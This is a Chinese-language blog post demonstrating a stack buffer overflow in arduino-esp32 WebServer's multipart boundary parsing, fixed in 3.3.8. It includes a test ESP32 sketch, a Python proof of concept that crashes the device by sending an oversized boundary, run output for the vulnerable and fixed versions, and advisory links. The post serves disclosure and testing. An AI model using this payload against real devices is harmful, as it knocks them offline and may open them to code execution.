Demo 影片:
原因:
arduino-esp32 3 版本 < 3.3.8 的 WebServer 表單解析器,
對 HTTP header 欄位 (Content-Type: multipart/form-data; boundary=...) 沒有強制長度限制,
導致 Overflow,程式崩潰並可能執行遠端程式碼。
漏洞概念測試:
以下測試用 Python 送出會發生 Overflow 長度的資料,導致 WebServer 崩潰重啟。
ESP32 程式
#include <WiFi.h>
#include <WebServer.h>
const char* ssid = "WiFi名稱";
const char* password = "WiFi密碼";
WebServer server(80);
const int ledPin = 2;
void handleRoot() {
String html =
"<html>"
"<head>"
"<meta name='viewport' content='width=device-width, initial-scale=1'>"
"</head>"
"<body style='font-size:32px;text-align:left;'>"
"<h1>ESP32 WebServer</h1>"
"</body>"
"</html>";
server.send(200, "text/html", html);
}
void handleUpload() {
HTTPUpload& upload = server.upload();
if (upload.status == UPLOAD_FILE_START) {
Serial.println("Upload Start");
} else if (upload.status == UPLOAD_FILE_WRITE) {
Serial.printf("Received: %u bytes\n", upload.currentSize);
} else if (upload.status == UPLOAD_FILE_END) {
Serial.println("Upload End");
}
}
void setup() {
Serial.begin(115200);
delay(3000);
pinMode(ledPin, OUTPUT);
WiFi.begin(ssid, password);
Serial.print("WiFi connecting");
while (WiFi.status() != WL_CONNECTED) {
delay(500);
Serial.print(".");
}
Serial.println("");
Serial.println("WiFi connected");
Serial.print("IP: ");
Serial.println(WiFi.localIP());
server.on("/", handleRoot);
server.on(
"/upload",
HTTP_POST,
[]() {
server.send(200);
},
handleUpload);
server.begin();
Serial.println("WebServer started");
}
void loop() {
server.handleClient();
if (Serial.available()) {
String readString = Serial.readStringUntil('\n');
if (readString == "a") {
Serial.println("====================================");
Serial.print("Arduino-ESP32 Core Version: ");
Serial.println(ESP_ARDUINO_VERSION_STR);
Serial.println("====================================");
Serial.print("IP: ");
Serial.println(WiFi.localIP());
}
}
}Python 程式
import sys
import requests
TARGET = "http://192.168.100.5/upload"
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <boundary_size>")
sys.exit(1)
boundary_size = int(sys.argv[1])
boundary = "A" * boundary_size
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}"
}
body = (
f"--{boundary}\r\n"
'Content-Disposition: form-data; name="file"; filename="x.txt"\r\n'
"Content-Type: text/plain\r\n\r\n"
"test\r\n"
f"--{boundary}--\r\n"
)
try:
r = requests.post(
TARGET,
headers=headers,
data=body,
timeout=3
)
print("Status:", r.status_code)
print(r.text[:200])
except requests.exceptions.ConnectTimeout:
print("Connect timeout")
except requests.exceptions.ReadTimeout:
print("Read timeout (target may have crashed)")
except requests.exceptions.ConnectionError as e:
print("Connection error:")
print(e)
except Exception as e:
print("Other error:")
print(e)3.3.7 版本執行結果 (ESP32 重啟)
> uv run poc.py 800 Status: 200 > uv run poc.py 8000 Read timeout (target may have crashed)
3.3.8 版本執行結果
> uv run poc.py 8000
Connection error:
('Connection aborted.', ConnectionResetError(10054, '遠端主機已強制關閉一個現存的連線。', None, 10054, None))參考:
- https://github.com/espressif/arduino-esp32/security/advisories/GHSA-8cmm-3887-r32j
Stack buffer overflow in WebServer multipart boundary parsing leads to remote crash potential RCE · Advisory · espressif/arduino-esp32 · GitHub - https://www.cve.org/CVERecord?id=CVE-2026-42854
CVE Record: CVE-2026-42854
沒有留言:
張貼留言